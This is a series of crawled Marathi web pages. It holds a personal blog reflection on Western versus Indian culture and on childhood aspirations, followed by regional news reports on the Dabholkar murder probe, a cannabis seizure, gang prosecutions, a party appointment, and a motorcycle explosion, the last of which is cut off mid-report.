आयुष्याला काय अर्थ आहे गम्मत अशी आहे की या साध्या साध्या गोष्टी आपण इतक्या गृहीत धरतो की त्यांच्यापासून दूर गेलो की किम्मत कळू लागते गम्मत अशी आहे की या साध्या साध्या गोष्टी आपण इतक्या गृहीत धरतो की त्यांच्यापासून दूर गेलो की किम्मत कळू लागते पाश्चात्य जीवन आणि संस्कृति चा गाभा हां खूप वेगळा आहे पाश्चात्य जीवन आणि संस्कृति चा गाभा हां खूप वेगळा आहे जीवनाकडे ते संघर्ष आणि शोकान्तिकेच्या दृष्टिकोनातुनाच बघते जीवनाकडे ते संघर्ष आणि शोकान्तिकेच्या दृष्टिकोनातुनाच बघते पाश्चात्य विचारवंत किंवा कलाकार यांचे लेखन संगीत काव्य नाटक सगळीकडे मानवाच्या अनुदात्त वर्तणुकीवर दृष्टी जास्त आहे पाश्चात्य विचारवंत किंवा कलाकार यांचे लेखन संगीत काव्य नाटक सगळीकडे मानवाच्या अनुदात्त वर्तणुकीवर दृष्टी जास्त आहे तो विचार चुकीचा नाही कारण तो विचार परिस्थितिजन्य आहे तो विचार चुकीचा नाही कारण तो विचार परिस्थितिजन्य आहे पाश्चात्य लोकांचा पूर्ण इतिहास च मुली रक्तरंजित आहे पाश्चात्य लोकांचा पूर्ण इतिहास च मुली रक्तरंजित आहे स्थल काल आणि पात्रे बदलतात स्थल काल आणि पात्रे बदलतात परन्तु अतीशय हिंसक वृत्तीचे प्रदर्शन अजूनही येथे आहे परन्तु अतीशय हिंसक वृत्तीचे प्रदर्शन अजूनही येथे आहे आणि म्हणूनच इथे शस्त्रांचे (guns) महत्व आहे आणि म्हणूनच इथे शस्त्रांचे (guns) महत्व आहे असो ... परन्तु भारतीय संस्कृति आणि विचारसरणी तशी आशावादी प्रसन्न आणि माणसाच्या उत्तम गुणांना गौरवणारी आहे असो ... परन्तु भारतीय संस्कृति आणि विचारसरणी तशी आशावादी प्रसन्न आणि माणसाच्या उत्तम गुणांना गौरवणारी आहे पाश्चात्यांच्या तुलनेत कधी कधी भाबडी वाटेल..... परन्तु मला तरीही श्रेष्ठ वाटते\nप्रकाश आणि रंग जीवनात कोणाला नको आहेत त्यांच्यामुळेच जीवन आहे आणि जीवनात आनंद आहे\nतुम्ही फारच छान लिहिलंय - अगदी मनापासुन- आवडलं.. असंच लिहित रहा..\nदिसामाजी काहीतरी (नवीन) लिहित जावे\nकॉप्स (अर्थात - अमेरिकन पोलिस)\nआईशी संवाद - भाग २ (4D अल्ट्रासाऊन्ड)\nसोनालीची ग्लूकोज चाचणी २ आणि प्लेटलेट्स\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00377.warc.wet.gz", "language": "mr", "language_score": 0.96, "bucket": "all"} {"url": "http://baal-saloni.blogspot.com/2009/04/blog-post_12.html", "date_download": "2018-09-25T17:46:42Z", "digest": "sha1:KF3WIIQCZBENNKAVNSCGTLGMSCVQDW4Z", "length": 12037, "nlines": 68, "source_domain": "baal-saloni.blogspot.com", "title": "बाल-सलोनी: आस्वाद", "raw_content": "\nपरवा संध्याकाळी सिद्धुबरोबर फुटबॉल खेळत होतो. इथे घराशेजारीच एक मैदान आहे ३-४ एकर असावे. मैदान तसे खोलात आहे. ३ बाजुने रस्ते थोडेसे उंचावर आणि एकाबाजुला आमचे अपार्टमेंट कॉम्प्लेक्स उंचावर. मध्ये अगदी सपाट असे मैदान. त्यामध्ये छोटी छोटी झाडे विखुरलेली.\nलाथा मारण्याचा खेळ म्हणजे माझा हात(नव्हे पाय)खंडा पुण्यात सप.महाविद्यालयाच्या मैदानावर परशुरामियन्स म्हणुन फुटबॉल क्लब होता. तिथे जात असे॥ तेव्हापासुन फुटबॉलची चांगलीच आवड लागली. पुण्यात ऋतु कोणताही असो ... संध्याकाळी मैदानावर उतरण्यात चांगलीच मजा आहे. अगदी त्याचीच आठवण येईल अशी हवा पसरलेली होती इथे. उंच आकाशात दूरवर स्काय हार्बर विमानतळावर उतरण्याची परवानगी मिळेपर्यंत घिरट्या घालणारी विमाने ... संध्याकाळच्या तिरक्या सूर्यकिरणांमध्ये सोनेरी-चंदेरी धुरांचे लोट सोडवीत फिरत होती. अगदी आय. आय. टी. पवईच्या टेकडीवरुन दिसणार्या अगदी याच दृश्याची आठवण करुन देउन नकळत घायाळ करुन जात होती मुंबई शहर खरे तर मूळ सौंदर्यात पुण्यापेक्षा सरस आहे ... परंतु त्यासाठी थोडे उंचावरुन न्याहाळावे लागते. आय.आय.टी.च्या ६ महिन्यांच्या आमच्या ९५ सालच्या थोड्याश्या वास्तव्यात शिक्षणाव्यतिरिक्त अजुन काय केले असेल तर मुंबईवर प्रेम करू लागलो. हो मुंबई शहर खरे तर मूळ सौंदर्यात पुण्यापेक्षा सरस आहे ... परंतु त्यासाठी थोडे उंचावरुन न्याहाळावे लागते. आय.आय.टी.च्या ६ महिन्यांच्या आमच्या ९५ सालच्या थोड्याश्या वास्तव्यात शिक्षणाव्यतिरिक्त अजुन काय केले असेल तर मुंबईवर प्रेम करू लागलो. हो आणि आमिर खाँसाहेबांचा कायमस्वरुपी ऋणी झालो तेही तिथेच. इंटर्नशीप वगैरे तर गोष्टी होतच राहतात. मजा नेहेमी यातच असते की आपण अजुन काय काय केले मुख्य गोष्टीव्यतिरिक्त\nअसो ॥ सिद्धु खरोखरच इतका छान फुटबॉल खेळतो कि काय सांगु लहान मुलांचे असेच असते लहान मुलांचे असेच असते त्यांना थोडी एखाद्या विषयात चालना देण्याचा अवकाश .. की त्यांची गाडी त्या मार्गावरुन छान मार्गक्रमण करू लागते. पवईच्या वास्तव्यातच वासंतीताईंशी झालेल्या एका पत्ररुपी संवादात त्यांनी उल्लेख केलेला की शाखेवर मुलांना शिकवण्यात काय मजा येते. मजा येते हे तर खरेच ... परंतु मी त्यांना त्यावेळी चुकुन एक चांगली गोष्ट लिहुन गेलो ... की मुले लहान आहेत म्हणुन अगदी त्यांच्याशी लहानच गोष्टी बोलल्या पाहिजेत असे नाही. तुम्हाला वाटेल त्या विषयावर संवाद साधा. काय सांगावे त्यांच्यामध्ये कोणी ज्ञानेश्वर समोर बसलेला असू शकतो त्यांना थोडी एखाद्या विषयात चालना देण्याचा अवकाश .. की त्यांची गाडी त्या मार्गावरुन छान मार्गक्रमण करू लागते. पवईच्या वास्तव्यातच वासंतीताईंशी झालेल्या एका पत्ररुपी संवादात त्यांनी उल्लेख केलेला की शाखेवर मुलांना शिकवण्यात काय मजा येते. मजा येते हे तर खरेच ... परंतु मी त्यांना त्यावेळी चुकुन एक चांगली गोष्ट लिहुन गेलो ... की मुले लहान आहेत म्हणुन अगदी त्यांच्याशी लहानच गोष्टी बोलल्या पाहिजेत असे नाही. तुम्हाला वाटेल त्या विषयावर संवाद साधा. काय सांगावे त्यांच्यामध्ये कोणी ज्ञानेश्वर समोर बसलेला असू शकतो मला वाटते खरे आहे ते. कुणाच्या मनात कसले बीज कधी आणि कुठे रोवले जाईल सांगणे कठीण आहे. शिक्षक म्हणुन आपण सहजतेने जमेल तितके चांगले विचार-आचार जरूर पोचवावेत. मी स्वत: लहान असताना पंडित नेहेरुंचे एक वाक्य पाचवीत असताना एका मासिकात वाचलेले - द वर्क ऑफ अ नेशन गोज ऑन. शेठ हिरालाल सराफ प्रशालेत माझी बहिण होती. त्यांच्या मासिक अंकात एका नववीतल्या मुलाने लिहिलेल्या लेखात ते वाक्य होते. का कुणास ठाऊक, ते वाक्य मला अजूनही चांगले लक्षात आहे. तो लिहिणारा मुलगाही विसरला असेल ... परंतु चांगल्या विचारांची तीच ताकद आहे ... ते चिरंतन आहेत.\nअसो ... तर मैदानावरील त्या वातावरणाने मला या सर्वांची आठवण करुन दिली. वाऱ्याच्या मंद लहरी, सिद्धार्थच्या चेहेर्यावरचा उत्साह आणि आनंद, गवताच्या पात्यांचे डोलणे, शेजारच्या फ्रीवेवरुन जाणार्या गाड्यांचे आवाज, मधुनच उमटणारी एखाद्या पक्षाची शीळ ....... काय उद्देश असेल काय उद्देश असायला हवा काय उद्देश असायला हवा काही उद्देश असायलाच हवा का काही उद्देश असायलाच हवा का माहित नाही परंतु इतके तर नक्कीच की माझे मन प्रसन्न होते ... शांत होते इट वॉज अल्मोस्ट लाइक आय कुड हिअर द नेचर व्हिस्पर. निसर्गाचे स्पंदन जाणवत होते आणि माझेही मन त्याबरोबर स्पंदत होते. इफ देअर इस एनिथिंग कॉल्ड ब्लिस देन धिस इज हाउ इट मस्ट बी लाइक.\nमला आठवले की माझे वडिल आम्हाला एकदा लहानपणी म्हणाले होते की तुम्हाला मोठेपणी काय व्हायचे आहे ताईने सांगीतले तिला डॉक्टर व्ह्यायचे आहे ताईने सांगीतले तिला डॉक्टर व्ह्यायचे आहे तिला शाबासकी मिळाली पुढे ती डॉक्टर झालीही. दादा म्हणाला मला इंजीनियर व्हायचे आहे. पुढे तो खरोखरच झालाही. त्यालाही अप्पांनी शाबासकी दिलेली. मी मात्र म्हणालो होतो मला असे काही विशेष व्ह्यायचे वगैरे नाही. एक साधी नोकरी एक साधे घर पुरे होईल. अप्पा रागावले. म्हणाले या पोराचे डोकेच विचित्र मला वाटते मला अप्पांचा प्रश्न कळला नव्हता आणि त्यांना माझे उत्तर मला वाटते मला अप्पांचा प्रश्न कळला नव्हता आणि त्यांना माझे उत्तर अप्पांचा प्रश्न होता की पुढे मोठे होऊन तुम्हाला काय करायचे आहे. आणि मी उत्तर दिले होते की मोठे झाल्यावर मला काय हवे आहे अप्पांचा प्रश्न होता की पुढे मोठे होऊन तुम्हाला काय करायचे आहे. आणि मी उत्तर दिले होते की मोठे झाल्यावर मला काय हवे आहे \"काय करायचे आहे\" या प्रश्नाचे उत्तर आभाळापेक्षा मोठे असू शकते ... परंतु \"काय हवे आहे\" याचे उत्तर टॉलस्टॉय म्हणतो त्याप्रमाणे खूपच छोटे असते. आपल्याला ते कधी जाणवते तर कधी त्याचा विसर पडतो इतकेच काय ते.\nपरवाच दिवस अश्या दिवसांपैकी होता की त्यादिवशी मला माझ्याच लहानपणीच्या उत्तराची अनुभुती आली तशी ती तुलाही वेळोवेळी येवो तुझ्या आयुष्यात इतुकेच मागणे परमेश्वरापाशी\nक्लीन बोल्ड, चारी मुंडया चीत, मार डाला\nसलोनीची गुगली आणि आमची धावपळ\nएक मित्र .. इरफान\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00377.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "http://www.esakal.com/pune/narendra-dabholkar-murder-case-karnataka-connection-suspected-killers-138634", "date_download": "2018-09-25T17:58:32Z", "digest": "sha1:L6LCNJVWS2X4X4OGM6MA2GT2UE3PA5T3", "length": 15577, "nlines": 175, "source_domain": "www.esakal.com", "title": "Narendra Dabholkar murder case Karnataka Connection of suspected killers संशयित मारेकऱ्यांचे \"कर्नाटक कनेक्‍शन' | eSakal", "raw_content": "\nसंशयित मारेकऱ्यांचे \"कर्नाटक कनेक्‍शन'\nसोमवार, 20 ऑगस्ट 2018\nपुणे - अंधश्रद्धा निर्मूलन समितीचे अध्यक्ष डॉ. नरेंद्र दाभोलकर यांच्या हत्येप्रकरणी केंद्रीय अन्वेषण विभागाने (सीबीआय) अटक केलेला दुसरा आरोपी सचिन अंधुरे याला महाराष्ट्र आणि कर्नाटकमध्ये शस्त्रे चालवण्याचे प्रशिक्षण दिल्याबाबत सीबीआय कसून तपास करीत आहे. अंदुरेचे हे \"कर्नाटक कनेक्‍शन' दाभोलकरांच्या हत्येच्या मूळ कटापर्यंत घेऊन जाणारे आहे, असे सीबीआयच्या वकिलांनी रविवारी (ता. 19) सुनावणीदरम्यान न्यायालयाला सांगितले. प्रथमवर्ग न्यायदंडाधिकारी ए. एस. मुजुमदार यांनी अंधुरेला 26 ऑगस्टपर्यंत सीबीआय कोठडी सुनावली आहे.\nपुणे - अंधश्रद्धा निर्मूलन समितीचे अध्यक्ष डॉ. नरेंद्र दाभोलकर यांच्या हत्येप्रकरणी केंद्रीय अन्वेषण विभागाने (सीबीआय) अटक केलेला दुसरा आरोपी सचिन अंधुरे याला महाराष्ट्र आणि कर्नाटकमध्ये शस्त्रे चालवण्याचे प्रशिक्षण दिल्याबाबत सीबीआय कसून तपास करीत आहे. अंदुरेचे हे \"कर्नाटक कनेक्‍शन' दाभोलकरांच्या हत्येच्या मूळ कटापर्यंत घेऊन जाणारे आहे, असे सीबीआयच्या वकिलांनी रविवारी (ता. 19) सुनावणीदरम्यान न्यायालयाला सांगितले. प्रथमवर्ग न्यायदंडाधिकारी ए. एस. मुजुमदार यांनी अंधुरेला 26 ऑगस्टपर्यंत सीबीआय कोठडी सुनावली आहे.\nआज दुपारी कडेकोट बंदोबस्तात अंधुरेला न्यायालयात हजर केल्यानंतर युक्तिवाद करताना सीबीआयचे वकील विजयकुमार ढाकणे म्हणाले, \"\"अंधुरेला महाराष्ट्र व कर्नाटकमध्ये शस्त्रे चालवण्याचे प्रशिक्षण दिल्याने, या प्रशिक्षणाचे आयोजन नेमके कोण करीत होते पैसा व साधने यांचा पुरवठा कोण करीत होते, याबाबत सखोल तपास करायचा आहे. विविध ठिकाणांबाबत अंधुरेकडून माहिती घ्यायची आहे. तसेच, कटात वापरलेली दुचाकी व शस्त्रे मिळवण्यासाठी त्याला 14 दिवसांची पोलीस कोठडी द्यावी, असे न्यायालयाला सांगितले.\nवीरेंद्रसिंह तावडे हा कटाचा मुख्य सूत्रधार असून, त्याचा व अंधुरेच्या संपर्काबाबत, या कटासाठी किती मिटिंग्ज घेतल्या. त्या कधी व कोणत्या ठिकाणी पार पडल्या, हत्येच्या कटात सामील असू शकणारे इतर आरोपी आदी बाबींचा तपास सुरू असल्याचे सीबीआय तपास अधिकाऱ्यांनी सांगितले.\nआरोपीचे वकील ऍड. प्रकाश सालसिंगीकर यांनी युक्तिवाद करताना, \"\"अंधुरेबाबतची ही \"थिअरी' सीबीआयने नव्याने बनवली असून, याआधी तपासात त्यांनी सारंग अकोलकर व विनय पवार यांची नावे घेऊन त्यांना फरार घोषित केले आहे. मारेकऱ्यांची रेखाचित्रे म्हणून अकोलकर व पवारची नावे घेण्यात आली. मात्र, आरोपपत्रामध्ये त्यांची नावे नाहीत. यावरून सीबीआयच्या दाव्यात विसंगती असल्याचे स्पष्ट होते,'' असे सांगितले. यावर प्रतिवाद करताना सीबीआयच्या वकिलांनी, \"\"अकोलकर आणि पवार यांची नावे आरोपपत्रामध्ये नसली, तरी रेखाचित्रामध्ये तयार झालेले चेहरे हे अकोलकर आणि पवार यांच्या चेहऱ्यासारखे दिसतात, हेच दोघे मारेकरी आहेत, असा सीबीआयचा दावा नसला, तरी त्यांचा कटातील भूमिकेबाबत तपास सुरू आहे,'' असे सांगितले.\nमहाराष्ट्र व कर्नाटकमध्ये आरोपीने शस्त्र प्रशिक्षण घेतल्याने आता अंधुरेचे कर्नाटक कनेक्‍शन तपासाला आणखी दिशा देणारे ठरत आहे, असे सूत्रांनी म्हणले आहे. तसेच, अंधुरेचे सनातन संस्थेशी संबंध असल्याचेही उघड झाल्याचे पोलीस सूत्रांनी सांगितले आहे.\nबाळासाहेब खोटे बोलतात : गुलाबराव गावंडे\nअकोला : राष्ट्रवादी काँग्रेसचे सर्वेसर्वा आणि महाराष्ट्रातील बहुजनांचे नेते शरद पवार यांच्यामुळेच भारिप बहुजन महासंघाचे नेते अॅड. बाळासाहेब...\nबीड : महाराष्ट्र, कर्नाटक व मध्यप्रदेश, उत्तरप्रदेश व राजस्थान या राज्यांतील अनेक जिल्ह्यांत भौतिक, आर्थिक व औद्योगिक विकासाला चालना मिळण्यासाठी...\nशरद पवारांनी सोडविली दोन वाहिन्यांमधील 'कुस्ती'\nपुणे- कुस्ती स्पर्धा भरविण्यावरुन दोन मराठी वाहिन्यांमध्ये सुरु असलेल्या वादावर शरद पवार यांनी मध्यस्थी केली आहे. या दोन्ही वाहिन्यांनी कुस्तीगीर...\nसोलापुरात शायनिंग महाराष्ट्र महाप्रदर्शन\nसोलापूर : राज्यसभेचे खासदार अमर साबळे यांच्या संकल्पनेतून दिल्ली येथील सांसा फाऊंडेशनच्यावतीने बुधवार 26 ते शुक्रवार 28 सप्टेंबर या कालावधीत गांधीनगर...\nपशुसेवेच्या शतकी परंपरेची इंडिया रेकॉर्डकडून दखल\nसांगली - संस्थानकाळात पहिला पशुवैद्यकीय दवाखाना सुरु करणारे आणि शतकभरापुर्वी सांगलीतून पहिली पशुवैद्यक शास्त्रातील सर्जन म्हणून पदवी मिळवणारे डॉ...\nरिफंड आणि इतर आर्थिक व्यवहार\nरिफंड आणि इतर आर्थिक व्यवहार\nतनिष्का स्त्री प्रतिष्ठा अभियान\nतनिष्का स्त्री प्रतिष्ठा अभियान\nसकाळ इंटरनॅशनल लर्निंग सेंटर\nसकाळ इंटरनॅशनल लर्निंग सेंटर\neSakal च्या बातम्यांसाठी सबस्क्राईब करा\neSakal च्या महत्वाच्या बातम्यांची आणि ब्रेकिंग न्यूजची नोटिफिकेशन्स तत्काळ मिळविण्यासाठी सबस्क्राईब करा.\n* आपण नोटिफिकेशनसंबंधी हवे ते बदल ब्राऊजर सेटिंग्जमध्ये जाऊन कधीही करू शकता.\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00377.warc.wet.gz", "language": "mr", "language_score": 0.98, "bucket": "all"} {"url": "http://www.pudhari.news/news/Belgaon/3-34-lakh-ganja-seized-in-Athani-taluka/", "date_download": "2018-09-25T17:06:39Z", "digest": "sha1:MHVK7YUM74QHKJSJAQQTEUCYTNFKAACP", "length": 5189, "nlines": 35, "source_domain": "www.pudhari.news", "title": " अथणी तालुक्यात ३.३४ लाखांचा गांजा जप्त: एकावर गुन्हा दाखल | पुढारी\tTop", "raw_content": "\nनेमबाज राही सरनोबत, भालाफेकपटू नीरज चोप्रा, धावपटू जॉन्सन, हिमा दासला अर्जुन पुरस्कार\nक्रिकेटर विराट कोहली, वेटलिफ्टर मिराबाई चानू यांचा राजीव गांधी खेलरत्न पुरस्काराने सन्मान\nहोमपेज › Belgaon › अथणी तालुक्यात ३.३४ लाखांचा गांजा जप्त: एकावर गुन्हा दाखल\nअथणी तालुक्यात ३.३४ लाखांचा गांजा जप्त: एकावर गुन्हा दाखल\nअथणी तालुक्यातील बळवाड येथे शनिवारी 3.34 लाखांचा गांजा जप्त करण्यात आला असून एकावर गुन्हा दाखल करण्यात आला आहे. मौलासाब इमामसाब पिंजार रा.बळवाण असे त्याचे नाव आहे. बळवाड येथील पिंजार यांच्या उसाच्या मळ्यात गांजा पिकविण्यात येत असल्याची माहिती जिल्हा गुन्हे अन्वेषण विभागाला मिळाल्यानंतर मंडल पोलिस निरीक्षक शंकरगौडा पाटील यांच्या नेतृत्वात हवालदार एस.सी.अंबरशेट्टी, एल.एन.कुंभारे, अशोक बजंत्री, संदीप कोरे व शिवशंकर बेवनूर हे बळवाड येथे मौलासाब पिंजार याच्या मळ्यावर दाखल झाले.\nत्यावेळी मौलासाब घरामध्ये होता. पोलिस पथकाने घरावर छापा घातला. मौलासाब याने घरामध्ये एका पोत्यात गांजा लपवून ठेवला होता. पोलिसांनी पोत्यातील 26 किलो गांजा जप्त केला असून त्याची किंमत 2 लाख, 86 हजार, 800 रु. आहे. अधिक चौकशी अंती मौलासाब याने उसाच्या मळ्यात गांजा पिकवित असल्याची कबुली दिली. पोलिसांच्या पथकाने मळ्यावरही छापा घालून गांजाची 7 झाडे जप्त केली. याचे वजन 15 किलो असून किंमत 47 हजार 700 रु.आहे. डीसीबीने हे मौलासाब याच्यावर गुन्हा दाखल करून प्रकरण अथणी पोलिसांकडे वर्ग केले आहे. जिल्हा पोलिस प्रमुख सुधीरकुमार रेड्डी यानी डीसीबी पथकाचे अभिनंदन केले आहे.\nमोहोळ : अल्पवयीन मुलीवर लैंगिक अत्याचार\nस्क्रूड्रायव्हर पोटात खुपसून पत्नीचा खून\n....असा असणार व्यापाऱ्यांचा भारत बंद \nविहिरीत महिलेचा मृतदेह आढळला\nविराटला राजीव गांधी खेलरत्न, तर राही सरनोबतला अर्जुन पुरस्कार प्रदान\nग्रामीण मुलींना बारावीपर्यंत एसटीचा प्रवास मोफत\nमाथाडी कायदा मोडीत नाही, मजबूत केला : मुख्यमंत्री\nआयुष्यमान भारत काय आहे योजना\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00377.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "http://www.pudhari.news/news/Satara/satara-shirval-chander-team-mukka/", "date_download": "2018-09-25T16:52:44Z", "digest": "sha1:GVRMQHPTK3Q6QGKCNYF3EPHB7FWR2677", "length": 6510, "nlines": 49, "source_domain": "www.pudhari.news", "title": " शिरवळच्या चंदर टोळीला मोक्का | पुढारी\tTop", "raw_content": "\nनेमबाज राही सरनोबत, भालाफेकपटू नीरज चोप्रा, धावपटू जॉन्सन, हिमा दासला अर्जुन पुरस्कार\nक्रिकेटर विराट कोहली, वेटलिफ्टर मिराबाई चानू यांचा राजीव गांधी खेलरत्न पुरस्काराने सन्मान\nहोमपेज › Satara › शिरवळच्या चंदर टोळीला मोक्का\nशिरवळच्या चंदर टोळीला मोक्का\nसातारा लॉकअपमधून पळून गेलेला व दरोड्याची तयारी, जबरी चोरी, बलात्कार, घरफोडी असे विविध गुन्हे दाखल असलेल्या चंद्रकांत ऊर्फ चंदर लोखंडे याच्या टोळीवर मोक्काअंतर्गत गुन्हा दाखल करण्यात आला आहे. संशयित तिघांच्या टोळीने शिरवळ येथे चेन स्नॅचिंग केले असून, संशयितांमध्ये जनावराच्या डॉक्टरचाही समावेश आहे.\nचंद्रकांत ऊर्फ चंदर लक्ष्मण लोखंडे (मूळ रा. ढवळ, ता. फलटण, सध्या रा. शिर्के पेपर मिलजवळ, शिरवळ, ता. खंडाळा), नीलेश बाळासो निकाळजे (रा. सोनगाव, ता. फलटण), अक्षय शिवाजी खताळ (रा. बिभी, ता. फलटण) अशी तिघांची नावे आहेत. यातील नीलेश निकाळजे हा जनावरांचा डॉक्टर आहे. संशयित तिघांनी 27 एप्रिल रोजी शिरवळ येथे महिलेच्या गळ्यातील चेन स्नॅचिंग केले होते. पोलिसांनी चंदर याला अटक केल्यानंतर त्याच्याकडून मुद्देमालही जप्त केला होता. संशयितांकडे अधिक चौकशी केल्यानंतर त्यांच्यावर शिरवळ, लोणंद, फलटण, खंडाळा, सातारा, कळंबोली, पनवेल (जि. रायगड) या ठिकाणी गंभीर स्वरूपाचे गुन्हे दाखल आहेत. धक्कादायक बाब म्हणजे चंदर हा सातारा शहर पोलिस ठाण्याच्या लॉकअपमधूनही पळून गेला होता. चंदर हा टोळी चालवून तो स्वत:चा व टोळीतील सदस्यांचा आर्थिक फायदा करून घेत होता. सातारा एलसीबी व शिरवळ पोलिसांनी सर्व तपास केल्यानंतर पो.नि. भाऊसाहेब पाटील यांनी संशयितांविरुद्ध मोक्काअंतर्गत कारवाईबाबतचा प्रस्ताव तयार करून तो पोलिस अधीक्षक संदीप पाटील यांच्याकडे पाठवला होता. हा प्रस्ताव विशेष पोलिस महानिरीक्षक विश्‍वास नांगरे-पाटील यांनी मंजूर केला.\nशिरवळच्या चंदर टोळीला मोक्का\nपुसेगावमध्ये सेवागिरी यात्रेस प्रारंभ (व्‍हिडिओ)\nजुना आरटीओ ऑफिस चौक ‘डेंजरझोन’\nकोरेगाव : भाकरवाडीच्या अंध विद्यालयात वीज चोरी (व्‍हिडिओ)\nखरचं, भय इथले संपणार नाही..\nखासगी वाहनांमुळे महामार्गावरील उंब्रज मृत्यूसापळा\nमोहोळ : अल्पवयीन मुलीवर लैंगिक अत्याचार\nस्क्रूड्रायव्हर पोटात खुपसून पत्नीचा खून\n....असा असणार व्यापाऱ्यांचा भारत बंद \nविहिरीत महिलेचा मृतदेह आढळला\nविराटला राजीव गांधी खेलरत्न, तर राही सरनोबतला अर्जुन पुरस्कार प्रदान\nग्रामीण मुलींना बारावीपर्यंत एसटीचा प्रवास मोफत\nमाथाडी कायदा मोडीत नाही, मजबूत केला : मुख्यमंत्री\nआयुष्यमान भारत काय आहे योजना\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00377.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "http://www.pudhari.news/news/Solapur/deepak-salunkhe-patil-elected-as-a-NCP-Solapur-District-President/", "date_download": "2018-09-25T16:56:52Z", "digest": "sha1:D25YHHCFROGGKJQ3A4Z4XGLMDAE2IJP3", "length": 6029, "nlines": 36, "source_domain": "www.pudhari.news", "title": " राष्ट्रवादी काँग्रेसच्या जिल्हाध्यक्षपदी दीपक साळुंखे-पाटील | पुढारी\tTop", "raw_content": "\nनेमबाज राही सरनोबत, भालाफेकपटू नीरज चोप्रा, धावपटू जॉन्सन, हिमा दासला अर्जुन पुरस्कार\nक्रिकेटर विराट कोहली, वेटलिफ्टर मिराबाई चानू यांचा राजीव गांधी खेलरत्न पुरस्काराने सन्मान\nहोमपेज › Solapur › राष्ट्रवादी काँग्रेसच्या जिल्हाध्यक्षपदी दीपक साळुंखे-पाटील\nराष्ट्रवादी काँग्रेसच्या जिल्हाध्यक्षपदी दीपक साळुंखे-पाटील\nराष्ट्रवादी काँग्रेसच्या सोलापूर जिल्हाध्यक्षपदी माजी आमदार दीपक आबा साळुंखे पाटील यांची निवड जाहीर करण्यात आली आहे. आज मुंबईत राष्ट्रवादीच्या 24 जिल्हाध्यक्षांची नावे पक्षातर्फे घोषित करण्यात आली. यामध्ये सोलापूर च्या जिल्हाध्यक्ष पदी दीपक साळुंखे पाटील यांच्याही नावाची घोषणा करण्यात आली आहे.\nगेल्या महिन्यात पक्षातर्फे नूतन जिल्हाध्यक्ष निवडीची प्रक्रिया पार पडली होती. त्यावेळी सोलापूर जिल्ह्यातून या पदासाठी केवळ दीपक साळुंखे-पाटील यांच्याच नावाची सर्व संमतीने शिफारस करण्यात आली होती. त्यामुळे साळुंखे-पाटील यांची निवड जाहीर होणे केवळ औपचारिकता राहिली होती. आज मुंबईत पक्षाचे राष्ट्रीय प्रवक्ते नवाब मलिक यांनी राज्यातील 24 जिल्हाध्यक्ष यांची नावे जाहीर केली. यामध्ये दीपक साळुंखे पाटील यांची सोलापूर जिल्हाध्यक्ष पदी निवड जाहीर करण्यात आली आहे.\nदीपक साळुंखे-पाटील हे मागील ४ वर्षांपासून पक्षाचे जिल्हाध्यक्ष म्हणून काम करीत आहेत. अतिशय कठीण काळात साळुंखे पाटील यांनी पद सांभाळताना पक्षातील गटबाजी, कार्यकर्त्यांमध्ये आलेले नैराश्य बाजूला सारून पक्षाला उभारी देण्याचे काम केले आहे. त्यामुळे दीपक साळुंखे यांना सर्वांनी पुन्हा एकदा पसंती दिली आहे. येत्या काळात लोकसभा, विधानसभा निवडणूका होत आहेत. या निवडणुकीत पक्षाचा बालेकिल्ला शाबूत राखण्याबरोबरच सर्व नेत्यांशी सलोखा राखून पक्ष पुढे न्यावा लागणार आहे. पार्श्वभूमीवर साळुंखे- पाटील यांच्यासाठी अध्यक्षपदाची दुसरी इनिंग अतिशय आव्हानात्मक असणार आहे.\nमोहोळ : अल्पवयीन मुलीवर लैंगिक अत्याचार\nस्क्रूड्रायव्हर पोटात खुपसून पत्नीचा खून\n....असा असणार व्यापाऱ्यांचा भारत बंद \nविहिरीत महिलेचा मृतदेह आढळला\nविराटला राजीव गांधी खेलरत्न, तर राही सरनोबतला अर्जुन पुरस्कार प्रदान\nग्रामीण मुलींना बारावीपर्यंत एसटीचा प्रवास मोफत\nमाथाडी कायदा मोडीत नाही, मजबूत केला : मुख्यमंत्री\nआयुष्यमान भारत काय आहे योजना\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00377.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "http://www.pudhari.news/news/Solapur/karmala-blast-one-death/", "date_download": "2018-09-25T17:13:03Z", "digest": "sha1:BDSZVLF3WEKPGZKWYAV4LBN3IXYCM4AJ", "length": 6985, "nlines": 51, "source_domain": "www.pudhari.news", "title": " करमाळ्यातील स्फोटात एकाचा भीषण मृत्यू | पुढारी\tTop", "raw_content": "\nनेमबाज राही सरनोबत, भालाफेकपटू नीरज चोप्रा, धावपटू जॉन्सन, हिमा दासला अर्जुन पुरस्कार\nक्रिकेटर विराट कोहली, वेटलिफ्टर मिराबाई चानू यांचा राजीव गांधी खेलरत्न पुरस्काराने सन्मान\nहोमपेज › Solapur › करमाळ्यातील स्फोटात एकाचा भीषण मृत्यू\nकरमाळ्यातील स्फोटात एकाचा भीषण मृत्यू\nकरमाळा : तालुका प्रतिनिधी\nमोटारसायकलवरून जात असताना अचानक झालेल्या भीषण स्फोटात एकाचा जागीच चिंधड्या उडून भयानक मृत्यू झाला आहे.पांडुरंग किसन तनपुरे (वय 41) असे मृत्यू झालेल्याचे नाव आहे. याची खबर शुभम पांडुरंग तनपुरे (दोघे रा. तनपुरे वस्ती, रा. वरकटणे, ता. करमाळा) या मृताच्या मुलाने करमाळा पोलिसांत खबर दिली आहे. ही घटना आज, रविवारी सकाळी पावणेनऊच्या सुमारास कोंढेज-साडे रस्त्यावर रामदास फाटके गुरुजी यांच्या वस्तीजवळ घडली आहे.\nपाडुरंग तनपुरे हा बजाज सीटी 100 या मोटारसायकलवरून कोंढेजवरून वरकटणेकडे येत असताना रामदास फाटके याच्या 